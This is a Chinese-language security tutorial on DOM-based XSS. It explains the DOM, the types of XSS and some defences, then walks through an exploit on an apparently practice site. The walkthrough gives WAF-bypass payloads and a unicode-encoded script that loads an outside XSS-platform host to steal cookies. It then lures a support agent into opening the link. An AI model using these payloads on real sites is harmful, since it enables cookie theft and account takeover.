freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DOM型XSS
2021-11-25 18:42:41

前言

什么是DOM型XSS

DOM型XSS漏洞是一种特殊类型的XSS,是基于文档对象模型 Document Object Model (DOM)的一种漏洞。

什么是DOM

DOM全称Document Object Model,是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。


以一张w3c的图来说明,到底什么是dom:

1637801350_619edd86cac4519b92956.png!small?1637801350186


dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。

通过Js去对网页进行修改,变化执行。

反射型XSS和储存型XSS以及Dom型XSS的特点:

反射型:
交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等。

存储型:
交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面。

DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,大部分属于反射型。

关于非持久型,持久型,Dom型xss

非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

而Dom型xss属于有可能是持久也可能是非持久型。

什么是document 和 windows 对象

document表示的是一个文档对象,window表示的是一个窗口对象,一个窗口下可以有多个文档对象。document 只是属于window 的一个子对象。

DOM型XSS

Document 对象

每个载入浏览器的 HTML 文档都会成为 Document 对象。

Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。


Document对象属性:

1637801979_619edffb536e966b5d6d6.png!small?1637801978591



Document 对象方法:1637802085_619ee065f1425828f21dd.png!small?1637802085409


可能触发DOM型XSS的属性

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

Dom型XSS的危害:

DOM-XSS不经过服务端,只看服务端的日志和数据库,很难排查到

DOM-XSS一般是通杀浏览器的

DOM-XSS一般是被攻击的时候就执行了XSS,由于是前端DOM操作导致,很难留下痕迹

DOM型XSS的防御方法

  1. 避免将从客户端接收的数据用于客户端敏感操作,例如重写或重定向。
  2. 通过检查对构成威胁的 DOM 对象(例如 URL、位置和引用者)的引用来清理客户端代码。如果 DOM 可能被修改,这一点尤其重要。
  3. 使用能够检查入站 URL 参数并防止提供不适当页面的入侵防御系统。

DOM型XSS实战演练

1、进入漏洞页面

发现可疑点 /dom_xss/

1637811284_619f045404a9846284016.png!small?1637811283367

2.检查该可疑点的源代码

发现可能触发DOM型XSS的属性 document.write,它可向文档写入 HTML 表达式或 JavaScript 代码。

1637811827_619f06737e8996f4cbccd.png!small?1637811826815

3.测试注入

1)先在URL随便传个参?txtx=1234

发现在URL里输入的内容会通过document.write()方法将传参内容显示在HTML文档上。

1637813556_619f0d3484ef643e03e2d.png!small?1637813555867

2)传入恶意语句

?<script>alert(3114)</script>

发现WAF, 经测试,WAF拦截<script>标签、<img>标签、<a%20href=javascript>等。

1637823212_619f32ecbb948541f3566.png!small?1637823212354

3)尝试绕过WAF写入弹窗函数,并闭合语句

1) ?");alert(1314)//
2) index.php/1.txt?txtx=</script><script>alert(1314)</script>

页面弹窗,存在XSS漏洞

1637817911_619f1e37ba8f78b224fc7.png!small?1637817910895

1637818427_619f203b22584bc186183.png!small?1637818426225

4.XSS平台来获取COOKIE

(1)因为document.write() 可以接受native编码值,所以我们可以用native编码绕过WAF

1637825213_619f3abd313a74845089e.png!small?1637825212219

传入参数

?txtx=\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0068\u006b\u002e\u0073\u0062\u002f\u0043\u0045\u004c\u004b\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

1637825422_619f3b8e4d2b45685fcac.png!small?1637825421422

获取了本地COOKIE

1637825367_619f3b5711b0999fd7c2d.png!small?1637825366154

然后去后把网址提交到反馈栏里,让客服去访问

1637825676_619f3c8c64d4aa8d6bc6d.png!small?1637825675396

返回XSS平台,发现客服小姐姐已成功访问恶意的代码,得到她的COOKIE

1637825861_619f3d45eef592fdff56f.png!small?1637825861060

(2) 传入参数

index.php/1.txt?txtx=<sCRiPt%20sRC=//hk.sb/CELK></sCrIpT>

获取到了本地COOKIE

1637826202_619f3e9af27a332f81164.png!small?1637826202068

把网址提交到反馈栏里,让客服小姐姐去访问,得到客服的COOKIE

1637826406_619f3f66024294c1a63bf.png!small?1637826405037


# 渗透测试 # web安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录